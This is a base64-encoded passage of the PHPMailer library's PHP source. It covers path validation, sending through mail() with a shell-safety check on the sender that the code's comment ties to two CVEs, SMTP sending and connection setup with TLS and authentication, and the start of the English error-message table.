gICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAg